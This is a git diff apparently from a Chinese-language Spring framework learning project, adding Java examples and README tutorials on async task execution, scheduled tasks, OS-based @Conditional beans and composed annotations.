+ * Date: 2016/11/16.
+ * Time: 下午 6:49.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(AwareConfig.class);
+
+ AwareService awareService = context.getBean(AwareService.class);
+ awareService.outputResult();
+
+ context.close();
+ }
+
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/test.txt b/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/test.txt
new file mode 100644
index 0000000..7fca50a
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/test.txt
@@ -0,0 +1 @@
+测试文件的内容
\ No newline at end of file
diff --git a/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/AsyncTaskService.java b/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/AsyncTaskService.java
new file mode 100644
index 0000000..cd51e79
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/AsyncTaskService.java
@@ -0,0 +1,28 @@
+package cn.hncu.p3.p2_TaskExecutor;
+
+import org.springframework.scheduling.annotation.Async;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/18.
+ * Time: 上午 10:57.
+ * Explain:任务执行类
+ */
+@Service
+public class AsyncTaskService {
+
+ @Async
+ //通过@Async注解表明该方法是个异步方法,如果注解在类级别,则表明该类所有的方法都是异步方法。
+ // 而这里的方法自动被注入使用ThreadPoolTaskExecutor作为TaskExecutor
+ public void executeAsyncTask(Integer i){
+ System.out.println("executeAsyncTask:"+i);
+ }
+
+ @Async
+ public void executeAsyncTaskPlus(Integer i){
+ System.out.println("executeAsyncTaskPlus:"+i);
+ }
+
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/Main.java b/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/Main.java
new file mode 100644
index 0000000..3561896
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/Main.java
@@ -0,0 +1,25 @@
+package cn.hncu.p3.p2_TaskExecutor;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/18.
+ * Time: 上午 11:04.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(TaskExecutorConfig.class);
+
+ AsyncTaskService asyncTaskService = context.getBean(AsyncTaskService.class);
+ for(int i=0;i<10;i++){
+ asyncTaskService.executeAsyncTaskPlus(i);
+ asyncTaskService.executeAsyncTask(i+1);
+ }
+ context.close();
+
+ }
+
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/README.md b/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/README.md
new file mode 100644
index 0000000..86859a3
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/README.md
@@ -0,0 +1,142 @@
+#分析
+
+在Spring中,通过任务执行器,也就是TaskExecutor来实现多线程和并发编程。
+
+使用ThreadPoolTaskExecutor可实现一个基于线程池的TaskExecutor。
+而实际开发中任务一般是非阻碍的,也就是非异步的,所以我们要在配置类中通过@EnableAsync开启对异步任务的支持,并通过在实际执行的Bean的方法中使用@Async注解来声明其是一个异步任务。
+
+
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+#示例
+
+##配置类
+
+首先看一下配置类。
+现在全部使用Java配置哦,不用xml了。
+
+```
+package cn.hncu.p3.p2_TaskExecutor;
+
+import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.scheduling.annotation.AsyncConfigurer;
+import org.springframework.scheduling.annotation.EnableAsync;
+import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/18.
+ * Time: 上午 9:35.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p3.p2_TaskExecutor")
+@EnableAsync //利用@EnableAsync注解开启异步任务支持
+public class TaskExecutorConfig implements AsyncConfigurer{
+ //配置类实现AsyncConfigurer接口并重写getAsyncExcutor方法,并返回一个ThreadPoolTaskExevutor
+ //这样我们就获得了一个基于线程池的TaskExecutor
+ @Override
+ public Executor getAsyncExecutor() {
+ ThreadPoolTaskExecutor taskExecutor = new ThreadPoolTaskExecutor();
+ taskExecutor.setCorePoolSize(5);//线程池维护线程的最少数量
+ taskExecutor.setMaxPoolSize(10);//线程池维护线程的最大数量
+ taskExecutor.setQueueCapacity(25);//线程池所使用的缓冲队列
+ taskExecutor.initialize();
+ return taskExecutor;
+ }
+
+ @Override
+ public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() {
+ return null;
+ }
+}
+
+```
+
+
+##任务执行类
+
+也就是实际运行的,需要异步执行的类
+
+```
+package cn.hncu.p3.p2_TaskExecutor;
+
+import org.springframework.scheduling.annotation.Async;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/18.
+ * Time: 上午 10:57.
+ * Explain:任务执行类
+ */
+@Service
+public class AsyncTaskService {
+
+ @Async
+ //通过@Async注解表明该方法是个异步方法,如果注解在类级别,则表明该类所有的方法都是异步方法。
+ // 而这里的方法自动被注入使用ThreadPoolTaskExecutor作为TaskExecutor
+ public void executeAsyncTask(Integer i){
+ System.out.println("executeAsyncTask:"+i);
+ }
+
+ @Async
+ public void executeAsyncTaskPlus(Integer i){
+ System.out.println("executeAsyncTaskPlus:"+i);
+ }
+
+}
+
+```
+
+##运行类
+
+为了测试而写的运行调用方法的类
+
+```
+package cn.hncu.p3.p2_TaskExecutor;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/18.
+ * Time: 上午 11:04.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(TaskExecutorConfig.class);
+
+ AsyncTaskService asyncTaskService = context.getBean(AsyncTaskService.class);
+ for(int i=0;i<10;i++){
+ asyncTaskService.executeAsyncTaskPlus(i);
+ asyncTaskService.executeAsyncTask(i+1);
+ }
+ context.close();
+
+ }
+
+}
+
+```
+
+#运行结果
+
+
+运行结果长了一点,所以只传了这么一点。
+但是已经能够看出了,假如是原来那样的,是异步执行,那么肯定偶数行的输出比前一个奇数行的输出是大1的。
+
+结果不是那样,它们不是异步进行的,在这里由一个主线程(main线程)。
+for循环里面,每运行一行调用方法的,就会开一个线程。
+也就是说,你每次的运行结果可能会不一样!
+所以,如果你的运行结果和我的不一样,不要慌哦。
\ No newline at end of file
diff --git a/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/TaskExecutorConfig.java b/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/TaskExecutorConfig.java
new file mode 100644
index 0000000..2d313a4
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p2_TaskExecutor/TaskExecutorConfig.java
@@ -0,0 +1,39 @@
+package cn.hncu.p3.p2_TaskExecutor;
+
+import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.scheduling.annotation.AsyncConfigurer;
+import org.springframework.scheduling.annotation.EnableAsync;
+import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/18.
+ * Time: 上午 9:35.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p3.p2_TaskExecutor")
+@EnableAsync //利用@EnableAsync注解开启异步任务支持
+public class TaskExecutorConfig implements AsyncConfigurer{
+ //配置类实现AsyncConfigurer接口并重写getAsyncExcutor方法,并返回一个ThreadPoolTaskExevutor
+ //这样我们就获得了一个基于线程池的TaskExecutor
+ @Override
+ public Executor getAsyncExecutor() {
+ ThreadPoolTaskExecutor taskExecutor = new ThreadPoolTaskExecutor();
+ taskExecutor.setCorePoolSize(5);//线程池维护线程的最少数量
+ taskExecutor.setMaxPoolSize(10);//线程池维护线程的最大数量
+ taskExecutor.setQueueCapacity(25);//线程池所使用的缓冲队列
+ taskExecutor.initialize();
+ return taskExecutor;
+ }
+
+ @Override
+ public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() {
+ return null;
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/Main.java b/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/Main.java
new file mode 100644
index 0000000..61b89c2
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/Main.java
@@ -0,0 +1,16 @@
+package cn.hncu.p3.p3_taskscheduler;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/22.
+ * Time: 下午 10:34.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(TaskScheduleConfig.class);
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/README.md b/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/README.md
new file mode 100644
index 0000000..bb2f3bd
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/README.md
@@ -0,0 +1,106 @@
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+#分析
+
+要实现计划任务,首先通过在配置类注解@EnableScheduling来开启对计划任务的支持,然后在要执行计划任务的方法上注解@Scheduled,声明这是一个计划任务。
+
+Spring通过@Scheduled支持多种类型的计划任务,包含cron、fixDelay、fixRate等。
+
+在本示例中:
+使用cron属性可按照指定时间执行,本例写的是每天20点07分执行;
+
+#示例
+
+##计划任务执行类
+
+在这个类中的方法上需要@Scheduled注解配合@EnableScheduling使用。
+
+```
+package cn.hncu.p3.p3_taskscheduler;
+
+import org.springframework.scheduling.annotation.Scheduled;
+import org.springframework.stereotype.Service;
+
+import java.text.SimpleDateFormat;
+import java.util.Date;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/22.
+ * Time: 下午 10:25.
+ * Explain:计划任务执行类
+ */
+@Service
+public class ScheduledTaskService {
+ private static final SimpleDateFormat dateFormat = new SimpleDateFormat("HH:mm:ss");
+
+ @Scheduled(fixedRate = 5000) //通过@Scheduled声明该方法是计划任务,使用fixedRate属性每隔固定时间执行
+ public void reportCurrentTime(){
+ System.out.println("每隔5秒执行一次 "+dateFormat.format(new Date()));
+ }
+
+ @Scheduled(cron = "0 07 20 ? * *" ) //使用cron属性可按照指定时间执行,本例指的是每天20点07分执行;
+ //cron是UNIX和类UNIX(Linux)系统下的定时任务
+ public void fixTimeExecution(){
+ System.out.println("在指定时间 "+dateFormat.format(new Date())+" 执行");
+ }
+}
+
+```
+
+##配置类
+
+通过@EnableScheduling注解开启对计划任务的支持
+
+```
+package cn.hncu.p3.p3_taskscheduler;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.scheduling.annotation.EnableScheduling;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/22.
+ * Time: 下午 10:32.
+ * Explain:配置类
+ */
+
+@Configuration
+@ComponentScan("cn.hncu.p3.p3_taskscheduler")
+@EnableScheduling //通过@EnableScheduling注解开启对计划任务的支持
+public class TaskScheduleConfig {
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p3.p3_taskscheduler;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/22.
+ * Time: 下午 10:34.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(TaskScheduleConfig.class);
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/ScheduledTaskService.java b/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/ScheduledTaskService.java
new file mode 100644
index 0000000..5e0e7de
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/ScheduledTaskService.java
@@ -0,0 +1,30 @@
+package cn.hncu.p3.p3_taskscheduler;
+
+import org.springframework.scheduling.annotation.Scheduled;
+import org.springframework.stereotype.Service;
+
+import java.text.SimpleDateFormat;
+import java.util.Date;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/22.
+ * Time: 下午 10:25.
+ * Explain:计划任务执行类
+ */
+@Service
+public class ScheduledTaskService {
+ private static final SimpleDateFormat dateFormat = new SimpleDateFormat("HH:mm:ss");
+
+ @Scheduled(fixedRate = 5000) //通过@Scheduled声明该方法是计划任务,使用fixedRate属性每隔固定时间执行
+ public void reportCurrentTime(){
+ System.out.println("每隔5秒执行一次 "+dateFormat.format(new Date()));
+ }
+
+ @Scheduled(cron = "0 07 20 ? * *" ) //使用cron属性可按照指定时间执行,本例指的是每天20点07分执行;
+ //cron是UNIX和类UNIX(Linux)系统下的定时任务
+ public void fixTimeExecution(){
+ System.out.println("在指定时间 "+dateFormat.format(new Date())+" 执行");
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/TaskScheduleConfig.java b/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/TaskScheduleConfig.java
new file mode 100644
index 0000000..0e8ca5a
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p3_taskscheduler/TaskScheduleConfig.java
@@ -0,0 +1,19 @@
+package cn.hncu.p3.p3_taskscheduler;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.scheduling.annotation.EnableScheduling;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/22.
+ * Time: 下午 10:32.
+ * Explain:配置类
+ */
+
+@Configuration
+@ComponentScan("cn.hncu.p3.p3_taskscheduler")
+@EnableScheduling //通过@EnableScheduling注解开启对计划任务的支持
+public class TaskScheduleConfig {
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p4_conditional/ConditionConfig.java b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/ConditionConfig.java
new file mode 100644
index 0000000..ba2eaaa
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/ConditionConfig.java
@@ -0,0 +1,28 @@
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Conditional;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:48.
+ * Explain:配置类
+ */
+@Configuration
+public class ConditionConfig {
+ //matches方法返回true的,就运行哪个方法
+ @Bean
+ @Conditional(WindowsCondition.class)//通过@Condition注解,符合Windows条件则实例化windowsListService
+ public ListService windowsListService(){
+ return new WindowsListService();
+ }
+
+ @Bean
+ @Conditional(LinuxCondition.class)//通过@Condition注解,符合Linux条件则实例化linuxListService
+ public ListService linuxListService(){
+ return new LinuxListService();
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p4_conditional/LinuxCondition.java b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/LinuxCondition.java
new file mode 100644
index 0000000..f4af8b1
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/LinuxCondition.java
@@ -0,0 +1,19 @@
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.Condition;
+import org.springframework.context.annotation.ConditionContext;
+import org.springframework.core.type.AnnotatedTypeMetadata;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:28.
+ * Explain:判定Linux的条件
+ */
+public class LinuxCondition implements Condition{
+ @Override
+ public boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata) {
+ return context.getEnvironment().getProperty("os.name").contains("Linux");
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p4_conditional/LinuxListService.java b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/LinuxListService.java
new file mode 100644
index 0000000..0223372
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/LinuxListService.java
@@ -0,0 +1,15 @@
+package cn.hncu.p3.p4_conditional;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:42.
+ * Explain:Linux下所要创建的Bean的类
+ */
+public class LinuxListService implements ListService {
+ @Override
+ public String showListCmd() {
+ return "ls";
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p4_conditional/ListService.java b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/ListService.java
new file mode 100644
index 0000000..6c84a03
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/ListService.java
@@ -0,0 +1,12 @@
+package cn.hncu.p3.p4_conditional;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:31.
+ * Explain:接口-Bean需要实现的接口
+ */
+public interface ListService {
+ public String showListCmd();
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p4_conditional/Main.java b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/Main.java
new file mode 100644
index 0000000..8dbd27e
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/Main.java
@@ -0,0 +1,21 @@
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:57.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(ConditionConfig.class);
+ ListService listService = context.getBean(ListService.class);
+ System.out.println(context.getEnvironment().getProperty("os.name")
+ +"系统下的列表命令为:"
+ +listService.showListCmd()
+ );
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p4_conditional/README.md b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/README.md
new file mode 100644
index 0000000..46951dc
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/README.md
@@ -0,0 +1,196 @@
+#分析
+
+在前面的一篇博客中:【Spring】Spring常用配置-Profile
+
+通过profile,我们可以获得不同的profile,我们可以获得不同的Bean。Spring4提供了一个更通用的基于条件的Bean的创建,即使用@Condition注解。
+
+@Condition根据满足某一个特定条件创建一个特定的Bean。
+比如说,当某一个jar包在一个类路径下的时候,自动配置一个或多个Bean;或者只有某个Bean被创建才会创建另外一个Bean。
+
+总的来说,就是根据特定条件来控制Bean的创建行为,这样我们可以利用这个特性来进行一些自动的配置。
+
+下面这个示例将以不同的操作系统来作为条件,通过实现Condition接口,并重写其matches方法来构造判断条件。
+
+若在Windows系统下运行程序,则输出列表命令为dir;若在Linux操作系统下运行程序,则输出列表命令为ls。
+
+#示例
+
+##先需要定义判断条件
+
+###判定Windows的条件
+
+```
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.Condition;
+import org.springframework.context.annotation.ConditionContext;
+import org.springframework.core.type.AnnotatedTypeMetadata;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:24.
+ * Explain:判断Windows的条件
+ */
+public class WindowsCondition implements Condition{
+ @Override
+ public boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata){
+ return context.getEnvironment().getProperty("os.name").contains("Windows");
+ }
+}
+
+```
+
+###判定Linux的条件
+
+```
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.Condition;
+import org.springframework.context.annotation.ConditionContext;
+import org.springframework.core.type.AnnotatedTypeMetadata;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:28.
+ * Explain:判定Linux的条件
+ */
+public class LinuxCondition implements Condition{
+ @Override
+ public boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata) {
+ return context.getEnvironment().getProperty("os.name").contains("Linux");
+ }
+}
+
+```
+
+##不同系统下Bean的类
+
+首先需要一个接口,接下来不同的Bean都需要实现这个接口。
+
+###接口
+
+```
+package cn.hncu.p3.p4_conditional;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:31.
+ * Explain:接口-Bean需要实现的接口
+ */
+public interface ListService {
+ public String showListCmd();
+}
+
+```
+###Windows下所要创建的Bean的类
+
+```
+package cn.hncu.p3.p4_conditional;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:41.
+ * Explain:Windows下所要创建的Bean的类
+ */
+public class WindowsListService implements ListService {
+ @Override
+ public String showListCmd() {
+ return "dir";
+ }
+}
+
+```
+
+###Linux下所要创建的Bean的类
+
+```
+package cn.hncu.p3.p4_conditional;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:42.
+ * Explain:Linux下所要创建的Bean的类
+ */
+public class LinuxListService implements ListService {
+ @Override
+ public String showListCmd() {
+ return "ls";
+ }
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Conditional;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:48.
+ * Explain:配置类
+ */
+@Configuration
+public class ConditionConfig {
+ //matches方法返回true的,就运行哪个方法
+ @Bean
+ @Conditional(WindowsCondition.class)//通过@Condition注解,符合Windows条件则实例化windowsListService
+ public ListService windowsListService(){
+ return new WindowsListService();
+ }
+
+ @Bean
+ @Conditional(LinuxCondition.class)//通过@Condition注解,符合Linux条件则实例化linuxListService
+ public ListService linuxListService(){
+ return new LinuxListService();
+ }
+}
+
+```
+
+##运行
+
+```
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:57.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(ConditionConfig.class);
+ ListService listService = context.getBean(ListService.class);
+ System.out.println(context.getEnvironment().getProperty("os.name")
+ +"系统下的列表命令为:"
+ +listService.showListCmd()
+ );
+ }
+}
+
+```
+
+#运行结果
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p3/p4_conditional/WindowsCondition.java b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/WindowsCondition.java
new file mode 100644
index 0000000..ffc5f93
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/WindowsCondition.java
@@ -0,0 +1,19 @@
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.Condition;
+import org.springframework.context.annotation.ConditionContext;
+import org.springframework.core.type.AnnotatedTypeMetadata;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:24.
+ * Explain:判断Windows的条件
+ */
+public class WindowsCondition implements Condition{
+ @Override
+ public boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata){
+ return context.getEnvironment().getProperty("os.name").contains("Windows");
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p4_conditional/WindowsListService.java b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/WindowsListService.java
new file mode 100644
index 0000000..b6cd61e
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p4_conditional/WindowsListService.java
@@ -0,0 +1,15 @@
+package cn.hncu.p3.p4_conditional;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:41.
+ * Explain:Windows下所要创建的Bean的类
+ */
+public class WindowsListService implements ListService {
+ @Override
+ public String showListCmd() {
+ return "dir";
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p5_annotation/DemoConfig.java b/springBoot/src/main/java/cn/hncu/p3/p5_annotation/DemoConfig.java
new file mode 100644
index 0000000..a88c721
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p5_annotation/DemoConfig.java
@@ -0,0 +1,14 @@
+package cn.hncu.p3.p5_annotation;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 8:19.
+ * Explain:配置类--组合注解
+ */
+@WiselyConfiguration("cn.hncu.p3.p5_annotation")
+//自定义注解,扫描的所有的bean来源于value值所对应的包路径下
+//使用@WiselyConfiguration组合注解替代@Configuration和@ComponentScan
+public class DemoConfig {
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p5_annotation/DemoService.java b/springBoot/src/main/java/cn/hncu/p3/p5_annotation/DemoService.java
new file mode 100644
index 0000000..df84324
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p5_annotation/DemoService.java
@@ -0,0 +1,17 @@
+package cn.hncu.p3.p5_annotation;
+
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 8:17.
+ * Explain:服务Bean
+ */
+@Service
+public class DemoService {
+ public void outputResult(){
+ System.out.println("从组合注解配置照样获得的bean");
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p5_annotation/Main.java b/springBoot/src/main/java/cn/hncu/p3/p5_annotation/Main.java
new file mode 100644
index 0000000..f697919
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p5_annotation/Main.java
@@ -0,0 +1,19 @@
+package cn.hncu.p3.p5_annotation;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 8:21.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(DemoConfig.class);
+ DemoService demoService = context.getBean(DemoService.class);
+ demoService.outputResult();
+ context.close();
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p5_annotation/README.md b/springBoot/src/main/java/cn/hncu/p3/p5_annotation/README.md
new file mode 100644
index 0000000..833e588
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p5_annotation/README.md
@@ -0,0 +1,149 @@
+#分析
+
+所谓的元注解:其实就是可以注解到别的注解上的注解。
+而被注解的注解我们就称之为组合注解。(仔细理解,可能有点绕)
+组合注解具备元注解的功能!
+
+Spring的很多注解都可以作为元注解,而且Spring本身已经有很多组合注解。
+
+比如@Configuration就是一个组合@Component注解,表明这个类其实也是一个Bean。
+@Configuration的源码:
+```
+//
+// Source code recreated from a .class file by IntelliJ IDEA
+// (powered by Fernflower decompiler)
+//
+
+package org.springframework.context.annotation;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import org.springframework.stereotype.Component;
+
+@Target({ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+@Component
+public @interface Configuration {
+ String value() default "";
+}
+
+```
+
+有的时候,我们可能大量同时使用到几个注解到同一个类上,这个时候,我们就可以考虑将这几个注解到别的注解上。
+
+比如下面的示例就是将@Configuration和@ComponentScan注解到一个注解上!
+
+这样,我们就可以用一个注解来表示这两个注解。
+
+#示例
+
+##组合注解
+
+```
+package cn.hncu.p3.p5_annotation;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+import java.lang.annotation.*;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 4:00.
+ * Explain:组合注解
+ */
+
+@Target(ElementType.TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+@Configuration//组合@Configuration元注解 bean注解
+@ComponentScan//组合@ComponentScan元注解 自动扫描对应value(package路径)值下面的所有bean
+public @interface WiselyConfiguration {
+ String[] value() default {};//覆盖value参数
+ //就是覆盖@ComponentScan注解中的value参数----必须要写,否则组合注解中放入value值时会报错
+}
+
+```
